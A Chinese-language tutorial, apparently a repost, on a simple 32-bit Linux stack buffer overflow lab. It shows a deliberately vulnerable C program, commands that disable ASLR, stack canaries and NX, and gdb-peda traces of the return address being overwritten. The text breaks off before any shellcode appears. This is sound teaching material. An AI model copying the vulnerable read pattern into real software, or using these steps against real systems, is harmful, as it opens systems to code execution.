linux x86 简单的缓冲区溢出
2024-1-11 17:51:12 Author: mp.weixin.qq.com(查看原文) 阅读量:10 收藏


准备工作

1 实验环境

使用的Ubuntu x64 2022.04 TLS版本,可以在ubuntu官网下载,部署的是vmware虚拟机。

2 所需软件、插件和脚本

安装gcc

sudo apt install build-essential

测试编译32程序会报以下错误:

In file included from c.c:1:
/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory`

还需要安装所需的32位的支持

apt install libc6-dev-i386

安装 GDB 以及插件

安装GDB

sudo apt install gdb

安装插件 pwndbg peda gef(具体如何配置请参考https://github.com/apogiatzis/gdb-peda-pwndbg-gef)

cd ~ && git clone https://github.com/apogiatzis/gdb-peda-pwndbg-gef.git
cd ~/gdb-peda-pwndbg-gef
./install.sh

安装python2 以及pwntools (参考https://blog.csdn.net/weixin_62621015/article/details/130156312)

因为好多好工具都是基于python2开发的,使用python3会有很多问题。

安装python2

apt-get install python2

安装python2的pip

apt install python-dev
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py

安装pwntools

apt-get install libssl-dev libffi-dev build-essential
python2 -m pip install --upgrade pwntools

以上如果有问题可以参考https://blog.csdn.net/weixin_62621015/article/details/130156312

下载pattern.py

https://github.com/Svenito/exploit-pattern


简单的缓冲区溢出

编写有漏洞的c代码

测试代码来自郑敏老师的c代码。

#include <stdio.h

#include <stdlib.h

#include <unistd.h

void vulnerable_function() {

char buf[128];

read(STDIN_FILENO, buf, 256);

}

int main(int argc, char** argv) {

vulnerable_function();

write(STDOUT_FILENO, "Hello, World\n", 13);

}

保存代码到level1.c文件。

编译代码

对于初学者来说,这里将关闭地址随机化alsr以及canary和nx。

关闭地址随机化

sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit

还可以使用

sysctl -w kernel.randomize_va_space=0

默认情况下 randomize_va_space中的直为2

cat /proc/sys/kernel/randomize_va_space

输出:2

关闭地址随机化后的输出为: 0

关闭 canary和nx

栈帧内的栈保护用到的canary和nx是gcc编译器加入的完整栈检测代码和栈属性设置。这里用到gcc的一些选项。

// 禁用canary保护

-fno-stack-protector

// 栈可执行

-z execstack

具体gcc命令为

gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c


缓冲区溢出和任意代码执行

分析

从代码可以看到vulnerable_function函数有明显的缺陷,如下图编译器已经发出了警告!当向buf读入数据时,读入的数据明显比buf能存储的128字节多,这就会造成缓冲区溢出。当栈上的返回地址被淹没(控制)时,函数返回时就会被控制去执行二进制代码。

└─# gcc -m32 -fno-stack-protector -o level1 level1.c
level1.c: In function ‘vulnerable_function’:
level1.c:9:5: warning: ‘read’ writing 256 bytes into a region of size 128 overflows the destination [-Wstringop-overflow=]
9 | read(STDIN_FILENO, buf, 256);
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~
level1.c:7:10: note: destination object ‘buf’ of size 128
7 | char buf[128];
| ^~~
In file included from level1.c:3:
/usr/include/unistd.h:371:16: note: in a call to function ‘read’ declared with attribute ‘access (write_only, 2, 3)’
371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur

成因

缓冲区漏洞的成因,和最早pc框架设计有关。


首先就是函数call,当执行 vulnerable_function时的汇编代码,

   

0x5655621e <main+20>: add ebx,0x2db2
=> 0x56556224 <main+26>: call 0x565561bd <vulnerable_function>
0x56556229 <main+31>: sub esp,0x4

call 会把地址0x56556229压入栈中(用来返回后继续执行)。然后执行vulnerable_function函数。

   

0x56556218 <main+14>: push ecx
0x56556219 <main+15>: call 0x565560c0 <__x86.get_pc_thunk.bx>
0x5655621e <main+20>: add ebx,0x2db2
=> 0x56556224 <main+26>: call 0x565561bd <vulnerable_function>
0x56556229 <main+31>: sub esp,0x4
0x5655622c <main+34>: push 0xd
0x5655622e <main+36>: lea eax,[ebx-0x1fc4]
0x56556234 <main+42>: push eax
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd3d0 --> 0xffffd3f0 --> 0x1
0004| 0xffffd3d4 --> 0xf7e2a000 --> 0x229dac
0008| 0xffffd3d8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x56555000 --> 0x464c457f
0012| 0xffffd3dc --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
0016| 0xffffd3e0 --> 0xffffd624 ("/home/dbg/Desktop/rop/level1/level1")
0020| 0xffffd3e4 --> 0x70 ('p')
0024| 0xffffd3e8 --> 0xf7ffd000 --> 0x36f2c
0028| 0xffffd3ec --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56556224 in main ()
gdb-peda$

执行进入vulnerable_function

   

0x565561b4 <frame_dummy+4>: jmp 0x56556110 <register_tm_clones>
0x565561b9 <__x86.get_pc_thunk.dx>: mov edx,DWORD PTR [esp]
0x565561bc <__x86.get_pc_thunk.dx+3>: ret
=> 0x565561bd <vulnerable_function>: push ebp
0x565561be <vulnerable_function+1>: mov ebp,esp
0x565561c0 <vulnerable_function+3>: push ebx
0x565561c1 <vulnerable_function+4>: sub esp,0x84
0x565561c7 <vulnerable_function+10>: call 0x565560c0 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xffffd3cc (")bUV\360\323\377\377")
0004| 0xffffd3d0 --> 0xffffd3f0 --> 0x1
0008| 0xffffd3d4 --> 0xf7e2a000 --> 0x229dac
0012| 0xffffd3d8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x56555000 --> 0x464c457f
0016| 0xffffd3dc --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
0020| 0xffffd3e0 --> 0xffffd624 ("/home/dbg/Desktop/rop/level1/level1")
0024| 0xffffd3e4 --> 0x70 ('p')
0028| 0xffffd3e8 --> 0xf7ffd000 --> 0x36f2c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x565561bd in vulnerable_function ()
gdb-peda$

其中0xffffd3cc就存放了返回地址

0000| 0xffffd3cc (")bUV\360\323\377\377")

再来看看vulnerable_function返回时的栈。

[-------------------------------------code-------------------------------------]
0x56556204 <vulnerable_function+71>: nop
0x56556205 <vulnerable_function+72>: mov ebx,DWORD PTR [ebp-0x4]
0x56556208 <vulnerable_function+75>: leave
=> 0x56556209 <vulnerable_function+76>: ret
0x5655620a <main>: lea ecx,[esp+0x4]
0x5655620e <main+4>: and esp,0xfffffff0
0x56556211 <main+7>: push DWORD PTR [ecx-0x4]
0x56556214 <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd3cc (")bUV\360\323\377\377")
0004| 0xffffd3d0 --> 0xffffd3f0 --> 0x1
0008| 0xffffd3d4 --> 0xf7e2a000 --> 0x229dac
0012| 0xffffd3d8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x56555000 --> 0x464c457f
0016| 0xffffd3dc --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
0020| 0xffffd3e0 --> 0xffffd624 ("/home/dbg/Desktop/rop/level1/level1")
0024| 0xffffd3e4 --> 0x70 ('p')
0028| 0xffffd3e8 --> 0xf7ffd000 --> 0x36f2c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56556209 in vulnerable_function ()
gdb-peda$

其中0xffffd3cc就存放了返回地址

0000| 0xffffd3cc (")bUV\360\323\377\377")

通过命令行 set *(0xffffd3cc) = 0xccccccc 修改ret返回地址为 0xcccccccc。

gdb-peda$ set *(0xffffd3cc) = 0xccccccc
gdb-peda$ stack 1
0000| 0xffffd3cc --> 0xccccccc

当函数返回时,eip被篡改,执行出错!证明栈上的0xffffd48c确实是存放了ret地址。

Invalid $PC address: 0xccccccc
[------------------------------------stack-------------------------------------]
0000| 0xffffd3d0 --> 0xffffd3f0 --> 0x1
0004| 0xffffd3d4 --> 0xf7e2a000 --> 0x229dac
0008| 0xffffd3d8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x56555000 --> 0x464c457f
0012| 0xffffd3dc --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
0016| 0xffffd3e0 --> 0xffffd624 ("/home/dbg/Desktop/rop/level1/level1")
0020| 0xffffd3e4 --> 0x70 ('p')
0024| 0xffffd3e8 --> 0xf7ffd000 --> 0x36f2c
0028| 0xffffd3ec --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0ccccccc in ?? ()

原理

首先要了解下栈帧:返回地址,局部变量都布局在栈,以下是函数vulnerable_function执行时的栈布局。

当向buf写入超量数据时,内存中的ret地址会被覆盖。当函数vulnerable_function执行完毕返回到main函数时,eip篡改。

实验

通过gdb调试level1程序,当输入 helloooooooo (输入的长度小于128字节时)时,正常的栈布局:

gdb-peda$ stack 36
0000| 0xffffcfe0 --> 0x0
0004| 0xffffcfe4 --> 0xffffcff0 ("helloooo\n")
0008| 0xffffcfe8 --> 0x100
0012| 0xffffcfec --> 0x565561cc (<vulnerable_function+15>: add ebx,0x2e04)
0016| 0xffffcff0 ("helloooo\n")
0020| 0xffffcff4 ("oooo\n")
0024| 0xffffcff8 --> 0xa ('\n')
0028| 0xffffcffc --> 0x0
0032| 0xffffd000 --> 0x0
0036| 0xffffd004 --> 0x0
0040| 0xffffd008 --> 0x0
0044| 0xffffd00c --> 0x0
0048| 0xffffd010 --> 0x0
0052| 0xffffd014 --> 0x0
0056| 0xffffd018 --> 0x0
0060| 0xffffd01c --> 0xf7ffd000 --> 0x36f2c
0064| 0xffffd020 --> 0xf7fc4540 (<__kernel_vsyscall>: push ecx)
0068| 0xffffd024 --> 0xffffffff
0072| 0xffffd028 ("4PUV\320f\374\367\b\326\377\367\v")
0076| 0xffffd02c --> 0xf7fc66d0 --> 0xe
0080| 0xffffd030 --> 0xf7ffd608 --> 0xf7fc6000 --> 0x464c457f
0084| 0xffffd034 --> 0xb ('\x0b')
0088| 0xffffd038 --> 0xffffd09c --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
0092| 0xffffd03c --> 0xffffd250 --> 0x20 (' ')
0096| 0xffffd040 --> 0x0
--More--(25/36)

再来看看 128 字节字符填充的栈情况

先用使用peda自带的命令生成128字符,复制备用

gdb-peda$ pattern create 128

'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA'

以下是输入128字节字符串后的栈布局:

db-peda$ stack 36
0000| 0xffffcfe0 --> 0x0
0004| 0xffffcfe4 --> 0xffffcff0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0008| 0xffffcfe8 --> 0x100
0012| 0xffffcfec --> 0x565561cc (<vulnerable_function+15>: add ebx,0x2e04)
0016| 0xffffcff0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0020| 0xffffcff4 ("AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0024| 0xffffcff8 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0028| 0xffffcffc ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0032| 0xffffd000 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0036| 0xffffd004 ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0040| 0xffffd008 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0044| 0xffffd00c ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0048| 0xffffd010 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0052| 0xffffd014 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0056| 0xffffd018 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0060| 0xffffd01c ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0064| 0xffffd020 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0068| 0xffffd024 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0072| 0xffffd028 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0076| 0xffffd02c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0080| 0xffffd030 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0084| 0xffffd034 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0088| 0xffffd038 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0092| 0xffffd03c ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0096| 0xffffd040 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
--More--(25/36)
0100| 0xffffd044 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0104| 0xffffd048 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0108| 0xffffd04c ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0112| 0xffffd050 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0116| 0xffffd054 ("AAhAA7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0120| 0xffffd058 ("A7AAMAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0124| 0xffffd05c ("MAAiAA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0128| 0xffffd060 ("AA8AANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0132| 0xffffd064 ("ANAAjAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0136| 0xffffd068 ("jAA9AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
0140| 0xffffd06c ("AAOA\n\320\377\377ЏUV\210\320\377\377)bUV\240\320\377\377")
gdb-peda$

可以看出填充的如果再在多十几字节就可以淹没0xfffd48c处的ret地址。下面我们看看150字节填充后的效果。

pattern create 150

生成150字节的字符串。

gdb-peda$ stack 36
0000| 0xffffcfe0 --> 0x0
0004| 0xffffcfe4 --> 0xffffcff0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0008| 0xffffcfe8 --> 0x100
0012| 0xffffcfec --> 0x565561cc (<vulnerable_function+15>: add ebx,0x2e04)
0016| 0xffffcff0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0020| 0xffffcff4 ("AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0024| 0xffffcff8 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0028| 0xffffcffc ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0032| 0xffffd000 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0036| 0xffffd004 ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0040| 0xffffd008 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0044| 0xffffd00c ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0048| 0xffffd010 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0052| 0xffffd014 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0056| 0xffffd018 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0060| 0xffffd01c ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0064| 0xffffd020 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0068| 0xffffd024 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0072| 0xffffd028 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0076| 0xffffd02c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0080| 0xffffd030 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0084| 0xffffd034 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0088| 0xffffd038 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0092| 0xffffd03c ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0096| 0xffffd040 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
--More--(25/36)
0100| 0xffffd044 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0104| 0xffffd048 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0108| 0xffffd04c ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0112| 0xffffd050 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0116| 0xffffd054 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0120| 0xffffd058 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0124| 0xffffd05c ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0128| 0xffffd060 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0132| 0xffffd064 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0136| 0xffffd068 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0140| 0xffffd06c ("AAOAAkAAPAAlAAQAAmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
gdb-peda$

如果再继续运行下去就会报PC错误(EIP执行的地址不对,此时EIP执行到了被覆盖的错误地址)。

[-------------------------------------code-------------------------------------]
0x56556204 <vulnerable_function+71>: nop
0x56556205 <vulnerable_function+72>: mov ebx,DWORD PTR [ebp-0x4]
0x56556208 <vulnerable_function+75>: leave
=> 0x56556209 <vulnerable_function+76>: ret
0x5655620a <main>: lea ecx,[esp+0x4]
0x5655620e <main+4>: and esp,0xfffffff0
0x56556211 <main+7>: push DWORD PTR [ecx-0x4]
0x56556214 <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd07c ("AmAARAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0004| 0xffffd080 ("RAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0008| 0xffffd084 --> 0xf70a4141
0012| 0xffffd088 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x56555000 --> 0x464c457f
0016| 0xffffd08c --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
0020| 0xffffd090 --> 0xffffd328 ("/home/dbg/Desktop/rop/level1/level1")
0024| 0xffffd094 --> 0x70 ('p')
0028| 0xffffd098 --> 0xf7ffd000 --> 0x36f2c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56556209 in vulnerable_function ()
gdb-peda$

可以看出此时 返回ret地址已经被覆盖了。

Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 ("RAAoAA\n\367 \320\377\367\031\025\302\367(\323\377\377p")
0004| 0xffffd084 --> 0xf70a4141
0008| 0xffffd088 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x56555000 --> 0x464c457f
0012| 0xffffd08c --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
0016| 0xffffd090 --> 0xffffd328 ("/home/dbg/Desktop/rop/level1/level1")
0020| 0xffffd094 --> 0x70 ('p')
0024| 0xffffd098 --> 0xf7ffd000 --> 0x36f2c
0028| 0xffffd09c --> 0xf7c21519 (<__libc_start_call_main+121>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x41416d41 in ?? ()
gdb-peda$

此时已经出错了。

思考

这里的buf我们可控,间接的eip也可控制,如果将eip引导到可控的buf处执行,是不是就可以实现任意代码执行。

为了验证我们的猜想,下面我们完成poc脚本。


POC

shellcode

上面说到任意代码执行,这里的代码可不是c java的代码,而是二进制代码,并且得针对平台架构定制。

这些代码就是我们常听说的shellcode。

在exploite.db上找了几个linux 86的shellcode好多编译测试可以,但是作为shellcode没有前后文环境时容易出错,发现还是郑敏老师的代码兼容性好,这里继续延用引用文章中的shellcode。

